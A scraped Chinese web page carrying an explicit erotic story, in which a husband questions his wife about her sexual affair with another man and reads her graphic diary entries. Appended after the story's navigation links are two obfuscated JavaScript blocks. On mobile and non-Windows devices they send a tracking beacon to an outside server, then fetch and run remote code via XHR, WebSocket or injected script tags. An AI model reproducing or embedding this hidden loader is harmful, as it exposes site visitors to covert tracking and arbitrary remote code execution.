小梅从我的声音听出我并不是很生气,才放下了心:“讨厌!不要胡说!”

并拿起手包打了我一下。

“你的日记写得不是很生动,也没有记全面。”

小梅低下了头,“你还要我怎么全面?我都……无耻到极点了。”

我突然闻到她的身上,除了她惯用的夜间飞行,还有股象清茶般的淡淡的香味。这应该是男士的香水。这个小骚货,身上都染上了别的男人的味了。

我一时欲火更盛,抱紧她问,“今晚,不要出去了,好不好?”

小梅低着头,盘着手指头,拧着身子,嗯了一声,并摇了摇头。

“当初说好了的嘛……”

“孩子这两天要见你,他想你了。”

“让我再当一回少女吧,不要说我已经是孩子他妈了,好不好?”

我再没说话,抱着她轻盈的娇躯就往里间走,小梅蹬着小腿挣扎着,“他还在楼下等我呢,求你了。别这样。”

我不管三七二十一,硬是解开她的上衣,突然间,我停了下来:在小梅的右胸上,有一点淡淡的红印,象是被人深深地亲吻后留下的印迹。

再检视她的后肩,也有这样一点淡淡的红印。

“他吻的?这么深?不疼吗?”我有些不敢相信。一面说着,一面将手伸进她的胸前,去摸小梅的乳头。

“傻瓜,当然不疼了,”小梅推开了我的手,捂着嘴笑了起来,笑得花枝乱颤,“教你第一招,刚学来的,对女人,该用劲的时候,不要有半点的怜惜。”

“是不是他插你的时候,也挺用劲啊?”

“讨厌,嗯,不要问了嘛。”

“说实话,要不然,不放你走。”

“他当然很用劲,……而且,我也用劲地顶着他,抱着他的腰,让他插得很深……”

“你还和他学了些什么?侧交,他用侧交干你干得很爽吗?比我怎么样?”

小梅看着我的眼睛,长吸一口气,深深地点了点头,“比你干得好一些。”

“次数呢?这几天,你和他做了几次?”

“有几十次吧。”

“现在给我一次,行,还是不行?”我心里愈加难受,一方面希望她同意,同时又希望这段时间她索性一次也不给我才好。

“不好,晚上我还要再给他一次呢。”

到了,小梅还是趁我脱上衣的时候,灵巧地从我怀里钻了出去,拎着东西跑到卧室门口,回头笑着说了句,“再过五天,我就会回来的。是你的老婆,你急什么!”

我也只好向她招招手,低声嘱咐她:“别浪过了头。”

“还有别的嘱咐吗?”小梅挺着胸脯,微笑着问我。

“不要随便被人一动,就扯着脖子浪叫,好象我过去从来就没有满足过你一样,嗯?要表现的再坚强些,能坚持多久就坚持多久。”

小梅脸上燃起了酡红艳色,含羞道:“呸死你,我才没有那样叫过呢。……再说坚持又能怎样?最后不还是要丢给人家。”

临别前我再次打量我的爱妻,突然觉得站得笔挺的小梅,修长的两腿夹得很紧,不知晚上被谢名分开时,是不是会在痉挛中弯曲复又伸直呢?

************小梅的日记:

某月某日今天晚上,从家里取了一些东西。回到这个家(谢老公的家),我开始收拾东西。然后做好菜,伺候谢名吃了饭。

我有点喜欢这里了,老公,这个家确实挺温馨的。两个卧室,一个很大的客厅,盥洗室也有两间。主卧里有一间。夜里做完爱,不用出去,可以在这儿直接地洗身子。

老公,他的精液又浓又粘的,从我的小洞里流出来,沾到我的外阴唇和阴毛上,需要洗半天。要不你来帮帮我?嘻嘻!

夜里十点钟的时候不知你在干什么?是在看电视吗?你可知道,这个时候,我已经一丝不挂地平躺在谢名的胯下,呻吟连连,甘心情愿地把雪白的身子再次奉献给他了。

想来想去,觉得确实有愧于你的嘱托。他今晚用四根细绳,分别捆住了我的四肢。然后,用一根羽毛,轻轻地在我的肉体上滑过,有些地方,他反复地滑来滑去。你今晚上想摸而没有摸着的乳头,就被那根羽毛搞得又硬又紫又涨,我却不能扭动身子、伸出双手去抚摸缓解片刻。

直到我快疯狂的时候,谢名才开始享用这一具被撩拨得欲火焚身的肉体,慢慢地从我的嘴,我的舌头开始品起,一直品到我的乳头,他开始只是舔,我告诉他,可以轻轻地咬,他便真这么做了。我可真是作茧自缚,最后难受的还是我,你的小梅雪啊,都快融化成水了,想坚强也坚强不了了。

最可恨的是他这个坏家伙,用那根大肉棒反复地在我的阴唇、阴核和小穴的外部反复蹭着磨着,里面的肉肉那么痒,他就是不去侵犯,我被搞得心痒难耐,从命令到商量到流着泪央求,唯一的目的就是一个:让他插我,怎么插都随他。

直到我咬着牙,小屁股一挺一哆嗦,实实在在地交了一次后,他才就着我四处泛流的浪水,满满地挺进我的花心中去,美得我直叫亲老公。

这句称唿他最得意了,有时他还故意地问我,你老公不是姓许吗?我就说,两个都是我老公。他一定要让我承认谁是我最爱的老公。我身为胯下臣,不得不低头,只好委屈你了。谁叫你怪我写得不全,写全了,你可别生气啊!回家后,你再好好地收拾我。

实在写不动了,手腕还有些疼,他要下床来搂我回去了,看样子还要再给他一次。我的两只小乳头,突然间痒痒起来了,别着急,一会儿,会有人来疼你们的。

对了,明天就是我的生日,夜里十一点钟一刻,我出生的时间,我会光熘熘的躺在他怀里,不吃药、不戴套,让他油亮的大鸡巴肆意纵情插进你宝贵的小肉洞里,先祝我生日快乐吧!我知道,你一定会难过的,可怜的宝贝,不知贾月影回来没有,要不然让她安慰你吧。


上一篇:完全流产手册

下一篇:网游金庸6


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};